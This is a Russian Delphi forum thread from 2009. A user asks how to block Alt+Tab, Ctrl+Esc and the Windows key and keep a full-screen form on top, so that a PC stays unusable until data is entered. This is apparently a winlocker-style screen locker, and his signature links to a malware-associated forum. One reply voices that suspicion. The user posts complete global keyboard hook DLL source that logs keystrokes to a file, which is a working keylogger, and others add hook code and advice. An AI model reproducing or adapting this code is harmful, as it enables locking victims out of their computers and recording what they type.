Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 17.09.2009, 09:49   #1
CyberDemon324
Пользователь
 
Регистрация: 24.11.2008
Сообщений: 13
По умолчанию Помогите вырубить горячие клавиши

Помогите пожалуйста выключить в Windows XP горячие клавиши. Пишу прогу блокиратор. Ну в хороших целях.
нужно заблокировать :
1. alt+tab
2. Ctrl+esc
3. windows

И вообще может кто подскажет. Есть форма показываемая на весь экран. Как сделать так что бы выше ее не могло находится ничего, кроме относящегося к этой программе?
т.е. так form1 у меня во весь экран, стоит поверх всех окон.
Сверху выносится form2 в модальном окне.
Но и все равно при вызове пуска и т.п. она оказывается ниже, как обойти???
Идея такая, пока не введешь некоторые данные пользование компом запрещено!

Очень прошу все, кто может, помогите оформить это!

Вот софт который хочу доработать: http://fuckav.ru/showthread.php?t=185
http://FuckAV.ru
Блокирующая система - Itsprayda System
CyberDemon324 вне форума Ответить с цитированием
Старый 17.09.2009, 10:16   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
CyberDemon324
Тут думаю только хук клавиатурный поможет. Кстати это уже обсуждалось тут SetWindowsHook поищи на форуме.
Цитата:
Как сделать так что бы выше ее не могло находится ничего, кроме относящегося к этой программе?
Ну я бы например так делал:
Код:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Align:=alClient;
FormStyle:=fsStayOnTop;
BorderStyle:=bsnone;
end;
Но опять таки хук на сообщения будет надежнее.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 17.09.2009, 10:24   #3
CyberDemon324
Пользователь
 
Регистрация: 24.11.2008
Сообщений: 13
По умолчанию

Цитата:
Тут думаю только хук клавиатурный поможет. Кстати это уже обсуждалось тут SetWindowsHook поищи на форуме.
спс, поищу!

Цитата:
Ну я бы например так делал:
Код:
Цитата:

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Align:=alClient;
FormStyle:=fsStayOnTop;
BorderStyle:=bsnone;
end;
Но опять таки хук на сообщения будет надежнее.
FormStyle:=fsStayOnTop;
BorderStyle:=bsnone;

эти так и стоят у первой формы! все равно поверх нее может вылезти какая нибудь папка и т.п.

Цитата:
Align:=alClient;
а что дает это???


-------------------------------


Если не сложно обьясните пожалуйста как я могу и какую инфу использовать из данной темы:
http://www.programmersforum.ru/showt...SetWindowsHook
http://FuckAV.ru
Блокирующая система - Itsprayda System

Последний раз редактировалось CyberDemon324; 17.09.2009 в 10:27.
CyberDemon324 вне форума Ответить с цитированием
Старый 17.09.2009, 10:43   #4
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
какая нибудь папка и т.п.
Верно, потому такая задача может решиться на 100% только глобальным хуком
Цитата:
а что дает это???
Ну типа - форма перекрывает весь экран без исключения. (правда не всегда)
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 17.09.2009, 11:51   #5
Rebel123
C++ новичок
Форумчанин
 
Аватар для Rebel123
 
Регистрация: 13.06.2009
Сообщений: 160
По умолчанию

Цитата:
Сообщение от CyberDemon324 Посмотреть сообщение
Помогите пожалуйста выключить в Windows XP горячие клавиши. Пишу прогу блокиратор. Ну в хороших целях.
нужно заблокировать :
1. alt+tab
2. Ctrl+esc
3. windows

И вообще может кто подскажет. Есть форма показываемая на весь экран. Как сделать так что бы выше ее не могло находится ничего, кроме относящегося к этой программе?
т.е. так form1 у меня во весь экран, стоит поверх всех окон.
Сверху выносится form2 в модальном окне.
Но и все равно при вызове пуска и т.п. она оказывается ниже, как обойти???
Идея такая, пока не введешь некоторые данные пользование компом запрещено!

Очень прошу все, кто может, помогите оформить это!

Вот софт который хочу доработать: http://fuckav.ru/showthread.php?t=185
Если ваша программа будет блочить все это, то антивирус вашей очередной жертвы (ну я так предполагаю потому что такую прогу пишут для корыстных целей) просто посчитает его как за вредоностную программу).....Ну а для себя знать не помешает ни когда! Удачи!
Rebel123 вне форума Ответить с цитированием
Старый 17.09.2009, 14:06   #6
CyberDemon324
Пользователь
 
Регистрация: 24.11.2008
Сообщений: 13
По умолчанию

Цитата:
Если ваша программа будет блочить все это, то антивирус вашей очередной жертвы (ну я так предполагаю потому что такую прогу пишут для корыстных целей)
вот она эта софтина - http://fuckav.ru/showthread.php?t=185, так что ничего плохого не будет, все во благо пользователя!


Цитата:
такая задача может решиться на 100% только глобальным хуком
я понимаю это, мне необходимо осуществить эту операцию, иначе софт не будет полезен, не хочу забивать на него. Помогите плиз кто чем может. Буду очень вам благодарен. Я уже пол интернета перекопал, нет ничего на эту темы. На данном форуме могут помочь, я вижу это и прошу этой помощи
http://FuckAV.ru
Блокирующая система - Itsprayda System
CyberDemon324 вне форума Ответить с цитированием
Старый 17.09.2009, 15:05   #7
CyberDemon324
Пользователь
 
Регистрация: 24.11.2008
Сообщений: 13
По умолчанию

Вот нашел хук:

Цитата:
library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
KeyArray: array[0..19] of char;
KeyArrayPtr: integer;
CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
if code< 0 then
begin
result:=CallNextHookEx(CurrentHook, code,wParam,lparam);
Exit;
end;
if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
begin
KeyArray[KeyArrayPtr]:=char(wParam);
KeyArrayPtr:=KeyArrayPtr+1;
if KeyArrayPtr> 19 then
begin
for i:=0 to 19 do
begin
Assignfile(CurFile,'d:\log.txt');
if fileexists('d:\log.txt')=false then rewrite(CurFile)
else Append(CurFile);
write(Curfile, KeyArray[i]);
closefile(curfile);
end;
KeyArrayPtr:=0;
end;
end;
CallNextHookEx(CurrentHook,code,wPa ram,lparam);
result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KE YBOARD, @GlobalKeyBoardHook,HInstance, 0);
KeyArrayptr:=0;
end;
procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
end;

exports
SetupGlobalKeyBoardHook, UnHook;
begin
end.

как его переточить под блок этих клавишь?
http://FuckAV.ru
Блокирующая система - Itsprayda System
CyberDemon324 вне форума Ответить с цитированием
Старый 17.09.2009, 15:05   #8
SuperVisor
Павел Сергеевич
Форумчанин
 
Регистрация: 05.11.2006
Сообщений: 665
По умолчанию

Ну, чтож, меня эта тема тоже заинтересовала....
Давай начнем разбираться.
Для начала прочитай тему про хуки на форуме. Читал, знаю...
Далее: описание функции SetWindowsHookEx() и LowLevelKeyboardProc (поймешь зачем....).
Далее - ошибки от мелкого софта.
Вот на чем я остановился, а точнее - с чего начал:
Код:
const
  {$EXTERNALSYM WH_KEYBOARD_LL}
  WH_KEYBOARD_LL = 13;
  {$EXTERNALSYM WH_MOUSE_LL}
  WH_MOUSE_LL = 14;

var TID: Cardinal = 0;
implementation

{$R *.dfm}
procedure MyHook(nCode: integer; WPARAM: wParam; LPARAM: lParam); stdcall;
begin
  if nCode=HC_ACTION then
  begin
    case WPARAM of
      WM_KEYDOWN: ShowMessage('WM_KEYDOWN');
      WM_KEYUP: ShowMessage('WM_KEYUP');
      WM_SYSKEYDOWN: ShowMessage('WM_SYSKEYDOWN');
      WM_SYSKEYUP: ShowMessage('WM_SYSKEYUP');
    end
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if TID=0 then
    TID:=SetWindowsHookEx(WH_KEYBOARD_LL,@MyHook,0,0);
  ShowMessage(Inttostr(GetLastError));
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Button2Click(Self);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if TID<>0 then
    UnhookWindowsHookEx(TID);
end;

end.
Ошибка ERROR_HOOK_NEEDS_HMOD
1428 (0x594)
Cannot set nonlocal hook without a module handle.

Реализуй через DLL.
Познавая других, мы познаем себя.
С'est la vie...
SuperVisor вне форума Ответить с цитированием
Старый 17.09.2009, 15:23   #9
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
WH_KEYBOARD_LL
Проще через WH_JOURNALPLAYBACK
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 17.09.2009, 16:29   #10
CyberDemon324
Пользователь
 
Регистрация: 24.11.2008
Сообщений: 13
По умолчанию

SuperVisor

Спасибо большое!!!!!!!!!!!

Цитата:
Реализуй через DLL.
где про это можно прочесть? я пока с длл никогда не работал...
http://FuckAV.ru
Блокирующая система - Itsprayda System
CyberDemon324 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Горячие клавиши Altera Общие вопросы Delphi 5 13.09.2008 21:27
Горячие клавиши VS 2008 .:KOLYAN:. Свободное общение 2 02.09.2008 14:32
Горячие клавиши назначенные для макросов Word Glad Microsoft Office Word 0 05.10.2007 20:29
По нажатию, каких сочетаний клавиш можно программно развернуть приложение, если оно свернуто в трее? Johnny_B Win Api 1 04.06.2007 08:20